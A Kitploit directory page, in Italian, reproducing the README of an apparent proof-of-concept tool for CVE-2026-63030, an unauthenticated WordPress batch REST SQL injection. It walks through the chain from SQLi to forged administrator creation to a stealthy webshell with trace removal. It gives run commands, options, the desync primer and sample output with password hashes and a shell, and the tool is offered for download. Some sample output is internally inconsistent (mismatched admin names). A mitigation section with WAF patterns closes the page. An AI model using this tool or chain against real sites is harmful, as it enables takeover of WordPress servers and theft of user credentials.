Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-63030 — CVE-2026-63030 - Prova di concetto di SQL Injection di Route-Confusion nel batch REST di WordPress | Kitploit
Strumenti/GitHubGitHub/ch4120n/cve-2026-63030
Scanner di VulnerabilitàExploitSicurezza WebPenetration TestingApprendimento e Formazione
GitHubch4120n/cve-2026-63030

CVE-2026-63030

CVE-2026-63030 - Prova di concetto di SQL Injection di Route-Confusion nel batch REST di WordPress

Vedi Repository
2311 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-63030

Proof of Concept per l'SQL Injection da Route-Confusion nel Batch REST di WordPress (CVE-2026-63030)
Ricerca, sviluppo dell'exploit e documentazione a cura di Ch4120N

CVE Python License Status


⚠️ Disclaimer Legale

Questo repository e il relativo strumento (exploit.py) sono destinati esclusivamente a scopi educativi, test di penetrazione autorizzati e ricerca sulla sicurezza.
L'utilizzo di questo exploit contro obiettivi senza un consenso esplicito, preventivo e scritto è illegale e viola le leggi globali contro le frodi e gli abusi informatici. L'autore (Ch4120N) non si assume assolutamente alcuna responsabilità per usi impropri, danni o conseguenze legali derivanti dall'uso di questo codice. Operate sempre entro i limiti della legge e ottenete la dovuta autorizzazione.


📖 Panoramica della Vulnerabilità: CVE-2026-63030

CVE-2026-63030 è una vulnerabilità critica e non autenticata che colpisce la REST API di WordPress. Sfrutta un bug di route-confusion all'interno dell'endpoint di elaborazione batch annidata (/wp-json/batch/v1 o /?rest_route=/batch/v1).

La Causa Principale

Quando WordPress elabora un batch di richieste REST API, valida ogni sotto-richiesta rispetto al suo schema specifico prima dell'esecuzione. Tuttavia, a causa di un difetto nel modo in cui il puntatore di routing interno gestisce percorsi deliberatamente malformati (ad es. ///), lo schema di validazione si desincronizza dall'handler di esecuzione effettivo.

La Catena di Attacco

  1. Route Confusion e SQLi: Un attaccante inietta un payload batch annidato. La desincronizzazione fa sì che una richiesta destinata all'endpoint /wp/v2/users (che non accetta author_exclude) venga eseguita dall'handler di /wp/v2/posts. Il parametro author_exclude non sanificato viene passato direttamente nella clausola author__not_in di WP_Query, risultando in una SQL Injection non autenticata.
  2. Creazione Admin Pre-Autenticazione: La SQLi viene utilizzata per leggere il database e identificare gli ID dei post oembed_cache. L'exploit utilizza quindi un payload changeset del Customizer per avvelenare la cache del menu di navigazione, ingannando WordPress e facendogli eseguire una richiesta di creazione utente nel contesto di un amministratore esistente.
  3. Esecuzione Remota di Codice (RCE): Con un account amministratore appena forgiato, lo strumento si autentica, carica un plugin webshell PHP randomizzato e protetto da token, esegue comandi del sistema operativo e rimuove in modo sicuro tutte le tracce.

Versioni Interessate

  • WordPress 6.9.0 fino a 6.9.4
  • WordPress 7.0.0 fino a 7.0.1 (Nota: le versioni precedenti potrebbero essere vulnerabili a seconda delle configurazioni specifiche dei plugin e dei backport della REST API).

🚀 Funzionalità

  • Zero Dipendenze: Libreria standard Python 3 al 100%. Nessun pip install richiesto.
  • File Singolo Modulare: Tutti i componenti (Client, SQLi, Exploit, Shell, CLI) sono organizzati in modo ordinato in un unico script portabile (exploit.py).
  • Estrazione SQL Multi-Tecnica: Passa automaticamente ai metodi più veloci disponibili:
    1. Basata su UNION: Estrazione in-band forgiando una riga WP_Post fittizia (1 richiesta per valore).
    2. Basata su Errori: Sfrutta gli errori XPATH di EXTRACTVALUE() se WP_DEBUG_DISPLAY è abilitato.
    3. Blind Boolean/Timing: Estrazione di caratteri tramite ricerca binaria con ritardi di sleep configurabili.
  • Bridge Pre-Auth Automatico: Nessuna necessità di credenziali esistenti; lo strumento crea al volo il proprio account amministratore.
  • Webshell Effimera: Genera uno slug plugin univoco e un token crittograficamente sicuro. La shell rifiuta di eseguire senza il token e si autodistrugge dopo l'uso.
  • Pulizia Automatica: Elimina automaticamente l'account amministratore forgiato e rimuove la directory del plugin webshell all'uscita.
  • REPL Interattivo: Fornisce uno pseudo-terminale che mantiene lo stato della directory di lavoro remota (supporto cd).

📦 Installazione e Requisiti

Non sono richiesti pacchetti di terze parti. Assicurati di avere installato Python 3.8 o superiore.

root@kitploit:~
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030

# Make the script executable
chmod +x exploit.py

# Verify Python version
python3 --version
# Executing the script
python3 exploit.py

💻 Utilizzo Dettagliato e Opzioni

L'exploit è diviso in tre sotto-comandi principali: check, read e shell.

Opzioni Globali

Queste opzioni si applicano a tutti i sotto-comandi:

OpzioneDescrizionePredefinito
urlURL di base del target (es. http://target.com)Obbligatorio
--rest-routeUsa /?rest_route=/batch/v1 invece di /wp-json/batch/v1 (per siti con permalink disabilitati).False
--timeoutTimeout delle richieste HTTP in secondi.30.0
--proxyProxy HTTP/HTTPS (es. http://127.0.0.1:8080).None

1. check - Rilevamento della Vulnerabilità

Sonda in modo sicuro il target per confermare la presenza dei marcatori di route-confusion e testa i tempi della SQLi senza estrarre dati.

OpzioneDescrizionePredefinito
--sleepRitardo di temporizzazione SQL (secondi) usato dal fallback --confirm-sqli.3.0
--samplesNumero di coppie di temporizzazione SQL baseline/ritardate da testare.3
--confirm-sqliInvia un payload attivo di conferma SQLi (aggiunge un lieve ritardo).False

2. read - Estrazione dal Database

Estrae i dati direttamente dal database tramite l'iniezione SQL.

OpzioneDescrizionePredefinito
--presetPreset di estrazione rapida: fingerprint (versione/utente/db) o users (login/hash).fingerprint
--queryEsegue un'espressione SQL scalare personalizzata (es. "SELECT @@version").None
--prefixPrefisso delle tabelle del database.wp_
--max-lengthNumero massimo di caratteri da estrarre per valore.128
--techniqueTecnica di estrazione: auto, union, error o blind.auto

3. shell - Esecuzione Remota di Codice

Distribuisce la webshell ed esegue i comandi. Se non vengono fornite credenziali, attiva automaticamente il bridge di creazione dell'admin in pre-autenticazione.

OpzioneDescrizionePredefinito
--userNome utente admin. (Ometti per usare il bridge di pre-autenticazione).None
--passwordPassword admin. (Ometti per usare il bridge di pre-autenticazione).None
--cmdComando singolo da eseguire sul target.None
-i, --interactiveApre una shell interattiva (REPL) dopo la distribuzione.False

🖥️ Prove di Esecuzione ed Esempi

Di seguito alcuni esempi reali dello strumento in azione.

Esempio 1: Verifica della Vulnerabilità

root@kitploit:~
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli

[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
    - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.

Esempio 2: Estrazione dell'Impronta del Database

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union

[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.

Esempio 3: Estrazione delle Credenziali Utente

root@kitploit:~
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_

[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
    1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
    2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
    5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.

Esempio 4: Ottenere una Shell Interattiva (Pre-Auth)

Nota come lo strumento crei automaticamente un account admin, distribuisca la shell e ripulisca tutto dopo l'uscita.

root@kitploit:~
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive

[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
    Extracting table name...
    Finding source admin ID...
    Seeding oEmbed cache...
    Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php

[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit

[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.

🧠 Approfondimento Tecnico

Il Primer della Desincronizzazione

Il cuore dell'exploit si basa sull'iniezione di _DESYNC_PRIMER = {"method": "POST", "path": "///"}. Questo URL non valido costringe il routing interno di WordPress a generare un WP_Error per la prima sotto-richiesta. Ciò sposta il puntatore interno, facendo sì che la seconda sotto-richiesta venga validata rispetto a uno schema ma eseguita dall'handler della terza sotto-richiesta. In questo modo il parametro author_exclude viene introdotto di nascosto nella WP_Query.

La Primitiva UNION Fake-Post

Invece della lenta SQLi blind, lo strumento usa una UNION SELECT per iniettare una riga wp_posts fittizia e completamente formata. Impostando orderby=none e per_page=500, impedisce a WP_Query di suddividere la query. Il post_title iniettato contiene il risultato codificato in hex dell'espressione SQL target, racchiuso tra delimitatori ||, che viene riflesso direttamente nella risposta JSON della REST API.

OpSec della Webshell

Il plugin PHP distribuito è progettato per un'elevata furtività:

  • Directory e nome file randomizzati (es. wp_a1b2c3d4.php).
  • Richiede un token hex di 32 caratteri (t) e un comando (c) tramite parametri GET.
  • Usa hash_equals() per prevenire attacchi di timing sul token.
  • Cambia automaticamente directory (chdir) per prevenire la divulgazione del percorso.
  • L'output è racchiuso tra marcatori EXPLOIT::...::END per un parsing pulito da parte del client Python.

🛡️ Mitigazione e Rimedio

  1. Aggiorna WordPress: Aggiorna immediatamente a WordPress 7.0.2 o successivo, che include la patch per CVE-2026-63030.
  2. Disabilita l'Endpoint Batch: Se l'endpoint batch non è esplicitamente richiesto, disabilitalo tramite un must-use plugin (mu-plugins):
    root@kitploit:~
    add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
        if ( $request->get_route() === '/batch/v1' ) {
            return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
        }
        return $response;
    }, 10, 3 );
    
  3. Web Application Firewall (WAF): Implementa regole per bloccare:
    • Richieste /batch/v1 annidate contenenti author_exclude nell'URI.
    • Richieste contenenti UNION, SLEEP() o EXTRACTVALUE nei parametri URL.
    • Percorsi malformati come /// nelle richieste REST API.
  4. Disabilita WP_DEBUG_DISPLAY: Assicurati che WP_DEBUG_DISPLAY sia impostato su false in wp-config.php per prevenire la divulgazione di SQLi basata su errori.

📜 Crediti e Riconoscimenti

  • Ricerca sulla Vulnerabilità e Sviluppo dell'Exploit: Ch4120N
  • Ispirazione del Concetto: route confusion della REST API di WordPress, avvelenamento della cache oEmbed e primitive changeset del Customizer.

"Da grandi poteri derivano grandi responsabilità. Usa questa conoscenza per difendere, non per distruggere."
— Ch4120N

Scarica lo strumento